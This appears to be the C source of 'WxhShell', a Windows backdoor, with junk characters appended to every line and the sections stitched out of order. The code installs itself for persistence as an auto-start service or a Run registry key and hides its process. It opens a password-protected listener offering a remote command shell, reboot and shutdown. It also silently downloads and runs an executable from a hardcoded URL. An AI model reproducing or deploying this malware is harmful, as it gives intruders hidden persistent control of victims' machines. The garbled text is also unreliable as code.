ULONG InheritedFromUniqueProcessId; Kqb#_hm
} PROCESS_BASIC_INFORMATION; y51e%n$
NJWA3zz
PROCNTQSIP NtQueryInformationProcess; DEKP5?]
Z>k#n'm^z
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "o-zy'I
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $r@zs'N
6]WAUK%h
HANDLE hProcess; 98IJu
PROCESS_BASIC_INFORMATION pbi; -b9\=U[
R'as0 u\
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JcsHt;
if(NULL == hInst ) return 0; Z&+ g;(g
/[
5gX^A
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); On9A U:\
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6*78cg Io
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FXG]LoP
"c%0P"u
if (!NtQueryInformationProcess) return 0; +>6iYUa
gwuI-d^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o,\$ZxSlm
if(!hProcess) return 0; :+^lJ&{U
Tztu}t]N
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a/4T>eC
'}53f2%gKa
CloseHandle(hProcess); ?jv/TBZX4
8mvy\l
EEH
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K7_UP&`=J
if(hProcess==NULL) return 0; 5y.WMNNv{
MzdV2.
HMODULE hMod; &
p
char procName[255]; NRs13M<ftf
unsigned long cbNeeded; dd %6t
/=nJRC3.
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }c,}V
24 ' J
CloseHandle(hProcess); [.7d<oY
xX&+WR
if(strstr(procName,"services")) return 1; // 以服务启动 %HhnSi1K
[Gb.
JO}X
return 0; // 注册表启动 \h/H#jZJ
} =
SMXDaH
cKca;SNql1
// 主模块 G:<aB
int StartWxhshell(LPSTR lpCmdLine) iy.p n
{ {L{o]Ii?g
SOCKET wsl; 1hY{k{+o
BOOL val=TRUE; HmGWht6R
int port=0; oq
Xg
struct sockaddr_in door; {3mRq"e
EH J.T~X
if(wscfg.ws_autoins) Install(); t\dN DS
:D5Rlfj
port=atoi(lpCmdLine); L\J;J%fz.
,f%S'(>w
if(port<=0) port=wscfg.ws_port; ~g]Vw4pv
I3L<[-ZE
WSADATA data; zj{pJOM06
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8b&/k8i:
_`j7clEz
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; BA:VPTZq
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e8a+2.!&\
door.sin_family = AF_INET; Hk3sI-XkA
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Woym/[i
door.sin_port = htons(port); Di6 ?[(8
S&wMrQ
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WaRw05r
closesocket(wsl); 03X1d-
return 1; Jq-]7N%k/
} 7;(`MIFXs
^}=,g
if(listen(wsl,2) == INVALID_SOCKET) { ~Fcm[eoC
closesocket(wsl); !c
Hum
return 1; k(nW#*N_
} q6luUx,@m
Wxhshell(wsl); _1\v
WSACleanup(); _
]ipajT
+SU8 +w
return 0; F v2-(
"%w u2%i
} +{.WQA}z\
P/eeC"
// 以NT服务方式启动 cKI9#t_
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'rkdZ=x{
{ zR:L!S
DWORD status = 0; A |4[vz9>H
DWORD specificError = 0xfffffff; &K#M*B,*p
K;G~V\
serviceStatus.dwServiceType = SERVICE_WIN32; oJz^|dW
serviceStatus.dwCurrentState = SERVICE_START_PENDING; +mj y<~\
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $qnZl'O>
serviceStatus.dwWin32ExitCode = 0; QA`sx
serviceStatus.dwServiceSpecificExitCode = 0; QZ
serviceStatus.dwCheckPoint = 0; *L^,|
serviceStatus.dwWaitHint = 0; 77f9(~ZnT
|0b`fOS
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i[3'ec3
if (hServiceStatusHandle==0) return; [}=B8#Jl-C
![=yi
tB
status = GetLastError(); f}P3O3Yv&
if (status!=NO_ERROR) 6A-|[(NS
{ 904}Jh,
serviceStatus.dwCurrentState = SERVICE_STOPPED; G5 WVr$
serviceStatus.dwCheckPoint = 0; O<?R)NH-P
serviceStatus.dwWaitHint = 0; 14yv$,
serviceStatus.dwWin32ExitCode = status; ^6V[=!& H
serviceStatus.dwServiceSpecificExitCode = specificError; "ze|W\Bv!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &j"?\f?
return; db7B^|Di
} oD.Cs'
#q=Efn'
serviceStatus.dwCurrentState = SERVICE_RUNNING; +a+Om73B2
serviceStatus.dwCheckPoint = 0; dR,fXQm
serviceStatus.dwWaitHint = 0; ?k{?GtSs
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q>+k@>bk@
} @q7I4
S4z;7z(8+
// 处理NT服务事件,比如:启动、停止 ?N9uu4
VOID WINAPI NTServiceHandler(DWORD fdwControl) YU'E@t5
{ sUQ@7sTj
switch(fdwControl) ?0SJfh
{ hHnYtq
case SERVICE_CONTROL_STOP: }19\.z&J
serviceStatus.dwWin32ExitCode = 0; \_f(M|
serviceStatus.dwCurrentState = SERVICE_STOPPED; n{mfn*r.
serviceStatus.dwCheckPoint = 0; +ye3HGD
serviceStatus.dwWaitHint = 0; m;QMQeGz
{ w<(pl%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); rg!r[1c
} rjYJs*#
return; z<?)Rq"
case SERVICE_CONTROL_PAUSE: )jP1or
serviceStatus.dwCurrentState = SERVICE_PAUSED; 2c*GuF9(0
break; x s|FE3:a
case SERVICE_CONTROL_CONTINUE: `X&gE,Ii
serviceStatus.dwCurrentState = SERVICE_RUNNING; /a4{?? #e
break; 4|DWOQ':
case SERVICE_CONTROL_INTERROGATE: (O3nL.
break; 2P0*NQ
}; F={a;Dvrn
SetServiceStatus(hServiceStatusHandle, &serviceStatus); UP,c |
} 83#mB:^R
}o`76rDN
// 标准应用程序主函数 (f"4,b^]
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _q-*7hCQ`
{ `b$.%S8uj=
SO!8Di
// 获取操作系统版本 o>pJPV
OsIsNt=GetOsVer(); SwMc
pNo
GetModuleFileName(NULL,ExeFile,MAX_PATH);
|CRn c:
*$g-:ILRuZ
// 从命令行安装 vr=#3>
if(strpbrk(lpCmdLine,"iI")) Install(); $>LQ6|XRu
X'iWJ8
// 下载执行文件 wFZP,fQ9l
if(wscfg.ws_downexe) {
.?$gpM?i
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4.t-i5
WinExec(wscfg.ws_filenam,SW_HIDE); %EB/b
} Ysv"
6b}
vdwsJPFbc
if(!OsIsNt) { Gk6iIK
// 如果时win9x,隐藏进程并且设置为注册表启动 >z@0.pN]7
HideProc(); jse&DQ
StartWxhshell(lpCmdLine); S)@j6(HC4
} sQZhXaMa $
else 9G2FsM|,
if(StartFromService()) I; rGD^
// 以服务方式启动 G"A#Q"
StartServiceCtrlDispatcher(DispatchTable); WH^%:4
else a\*yZlXKs
// 普通方式启动 5nx1i
StartWxhshell(lpCmdLine); w``U=sfmV
,z=LY5_z)
return 0; Qo|\-y-#
} tKXIk9e
*s3/!K
j0q&&9/Jj
4j^
@wV'
=========================================== {+>-7
9b
r9?Mw06Wc5
JB<t6+"rD
h/Y'<:
N"ST@/j.A
tQ#n${a@f
" 1?l1:}^L
U]rRQ
d/:;
#include <stdio.h> N8df8=.kw
#include <string.h> FGzwhgy
#include <windows.h> 0w7DsPdS
#include <winsock2.h> ;!Fn1|)
#include <winsvc.h> q!@4~plz
#include <urlmon.h> pd$[8Rmj_
_lq`a\7e
#pragma comment (lib, "Ws2_32.lib") Tw<q,O
#pragma comment (lib, "urlmon.lib") 6_B]MN!(
x
kD6Iw
#define MAX_USER 100 // 最大客户端连接数 MF'JeM;H
#define BUF_SOCK 200 // sock buffer 6ik$B
#define KEY_BUFF 255 // 输入 buffer o)/ 0a
.T`%tJ-Em
#define REBOOT 0 // 重启 <1TAw.
#define SHUTDOWN 1 // 关机 <F'\lA9
J<lW<:!3]
#define DEF_PORT 5000 // 监听端口 JW&gJASGC
gjlx~.0d
#define REG_LEN 16 // 注册表键长度 !5!<C,U
#define SVC_LEN 80 // NT服务名长度 {{!-Gr
~"A0Rs=
// 从dll定义API %(Icz?
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); );YDtGip J
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %BQ`MZ
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BnY&f
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2~[juWbz
BTxrp
// wxhshell配置信息 m]&SN z=
struct WSCFG { ! 8b^,
int ws_port; // 监听端口 |N] XJ)?
char ws_passstr[REG_LEN]; // 口令 K(|}dl:
int ws_autoins; // 安装标记, 1=yes 0=no C,eu9wOT
char ws_regname[REG_LEN]; // 注册表键名 s>c=c-SP.
char ws_svcname[REG_LEN]; // 服务名 ~}Pfu
char ws_svcdisp[SVC_LEN]; // 服务显示名 8 zb/xP>
char ws_svcdesc[SVC_LEN]; // 服务描述信息 n=q76W\
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -'Mf\h8
int ws_downexe; // 下载执行标记, 1=yes 0=no ;9#KeA _
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1\.pMHv/
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?V=CB,^
h2QmQ>y"
}; 4^d?D!j
0*v2y*2V
// default Wxhshell configuration Gq P5Kx+=
struct WSCFG wscfg={DEF_PORT, $:^td/p J
"xuhuanlingzhe", ,#K'PB4 E
1, ;AG()NjOO:
"Wxhshell", 19] E 5'AI
"Wxhshell", ee=D1 qNu;
"WxhShell Service", +w~oH =
"Wrsky Windows CmdShell Service", Uw:"n]G]D?
"Please Input Your Password: ", 0+8e,
1, |vC~HJpuv'
"http://www.wrsky.com/wxhshell.exe", E" vS $
"Wxhshell.exe" 2KZneS`
}; 1 -b_~DF
%l%HHT
// 消息定义模块 K)P%;X
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !@"OB~
char *msg_ws_prompt="\n\r? for help\n\r#>"; SS2%qv
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3(UVg!t
char *msg_ws_ext="\n\rExit."; %}T6]S)%u
char *msg_ws_end="\n\rQuit."; H;"4C8K7
char *msg_ws_boot="\n\rReboot..."; !`r$"}g
char *msg_ws_poff="\n\rShutdown..."; )M^
gT}M
char *msg_ws_down="\n\rSave to "; ]_$[8#kg
w2'5#`m
char *msg_ws_err="\n\rErr!"; 5-A\9UC*@
char *msg_ws_ok="\n\rOK!"; &nK<:^n
qJw_
char ExeFile[MAX_PATH]; y_[vr:s5pG
int nUser = 0; ")25
qZae
HANDLE handles[MAX_USER]; S|}L &A
int OsIsNt;
AOx[
"Yy n/
SERVICE_STATUS serviceStatus; t`QENXA}
SERVICE_STATUS_HANDLE hServiceStatusHandle; Bbp|!+KP{(
TsZ@
// 函数声明 LH6vLuf
int Install(void); =BrRYA
int Uninstall(void); K>
e7pu
int DownloadFile(char *sURL, SOCKET wsh); >R=|Wo`Ri
int Boot(int flag); wKHBAW[i]
void HideProc(void); fXB0j;A
int GetOsVer(void); Z6m)tZVM
int Wxhshell(SOCKET wsl); p b,. r
void TalkWithClient(void *cs); :v 4]D4\o
int CmdShell(SOCKET sock); IRbfNq^:
int StartFromService(void); WF"k[2
int StartWxhshell(LPSTR lpCmdLine); DV{=n C
?X;RLpEc|A
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [00m/fT6
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;wD)hNLAvR
%XTI-B/K
// 数据结构和表定义 2T`!v
SERVICE_TABLE_ENTRY DispatchTable[] = =R\]=cRbg
{ rM"l@3hP
{wscfg.ws_svcname, NTServiceMain}, OrG).^l
{NULL, NULL} [S<";l8
}; i6N',&jFU
-$@h1Y
// 自我安装 .e5Mnd%$M
int Install(void) NEF#
}s2=
{ C7?/%7{
char svExeFile[MAX_PATH]; et+0FF
,
HKEY key; P|> ~_$W
strcpy(svExeFile,ExeFile); ?fS9J
^C%<l(b
// 如果是win9x系统,修改注册表设为自启动 ctV,Q3'Z
if(!OsIsNt) { QCJM&
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cj@koA'
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DL.!G
RegCloseKey(key); 'f|o{
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3M=
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y?!"6t7&
RegCloseKey(key); T
1t6p&
return 0; J^/p(
} CQ2jP
G*py
} },[}$m%
} YoE3<[KD(
else { jqkqZF
8EEuv-aeo
// 如果是NT以上系统,安装为系统服务 F5#YOck&,
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ct|A:/z(
if (schSCManager!=0) _aMF?Pj~m
{ FgI3
SC_HANDLE schService = CreateService y!%CffF2
( ?hM64jI|
schSCManager, /Q )\ +
wscfg.ws_svcname, j~QwV='S
wscfg.ws_svcdisp, A(N4N
SERVICE_ALL_ACCESS, \di=
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RGX=)
SERVICE_AUTO_START, c"xK`%e
SERVICE_ERROR_NORMAL, UZ$/Ni
svExeFile, ,=N.FS
NULL, k+4#!.HX^
NULL, Cls%M5MH
NULL, 07 $o;W@
NULL, xwty<?dRW1
NULL |)G<,FJQE_
); (tQc
if (schService!=0) vcd\GN*4f
{ {BHO/q3
CloseServiceHandle(schService); G#1GXFDO{
CloseServiceHandle(schSCManager); PxE3K-S)G
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Lh<).<S
strcat(svExeFile,wscfg.ws_svcname); [1KuzCcK}
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b u"!jHPB
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0|b>I!_"g
RegCloseKey(key); &VcV$8k
return 0; 1i] ^{;]
} W}1
;Z(.*
} Tb-F]lg$
CloseServiceHandle(schSCManager); .}*"Nv
} wvPk:1wD5
} 2Hv+W-6v
Tac$LS\Q
return 1; m#F`] {
} !g.?
qjc4.,/
// 自我卸载 RX5dO%
int Uninstall(void) CWS4lx
{ b_):MQ1{
HKEY key; 4'Zp-k?5`
d`6 'Z
if(!OsIsNt) { V470C@
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qyNyBr?
RegDeleteValue(key,wscfg.ws_regname); e~':(/%|5;
RegCloseKey(key); "wHFN>5B
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D#)b+7N-
RegDeleteValue(key,wscfg.ws_regname); E+JqWR5
RegCloseKey(key); V2G6Kw9gt
return 0; MqUH',\3
} 1!gbTeVlY
} '`<w#z}AF
} !v0LBe4
else { >dG[G>
N.{D$"
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6MkP |vr6
if (schSCManager!=0) w+{LAS
{ OydwE
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O0y_Lm\
if (schService!=0) veh<R]U
{ m9Hit8f@Q
if(DeleteService(schService)!=0) { *D3/@S$B
CloseServiceHandle(schService); ""|Qtubv
CloseServiceHandle(schSCManager); >e"#'K0?\
return 0; YUIi;
} :08,JL{
CloseServiceHandle(schService); }Z,x~G
} XvlU*TO~(~
CloseServiceHandle(schSCManager); 8ITdSg
} Qz
N&>sk"
} E\,-XH
1y4
return 1; <A'$%`6m
} LE>]8[f6S
*`RkTcG
// 从指定url下载文件 `^y7f
int DownloadFile(char *sURL, SOCKET wsh) ][h}
{
(ICd}
HRESULT hr; j,dR,N d
char seps[]= "/"; bbyg8;/
char *token; u-5{U-^_
char *file; (=@h23
vH
char myURL[MAX_PATH]; /~f'}]W
char myFILE[MAX_PATH]; xlg9TvvI
q%?in+l
strcpy(myURL,sURL); H+Sz=tg5
token=strtok(myURL,seps); 1 Ya`| ?FS
while(token!=NULL) .h4 \Y A
{ j ?(&#
file=token; 46&/gehr
token=strtok(NULL,seps); 1PV'?tXp(
} \)?HJ
l2P=R)@{
GetCurrentDirectory(MAX_PATH,myFILE); ]`+HO=0
strcat(myFILE, "\\"); hFl^\$Re
strcat(myFILE, file); 2V;PYI
send(wsh,myFILE,strlen(myFILE),0); 1HZO9cXJ
send(wsh,"...",3,0); ';=O 0)u
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?m?::R H
if(hr==S_OK) r|Tcfk]%
return 0; K&K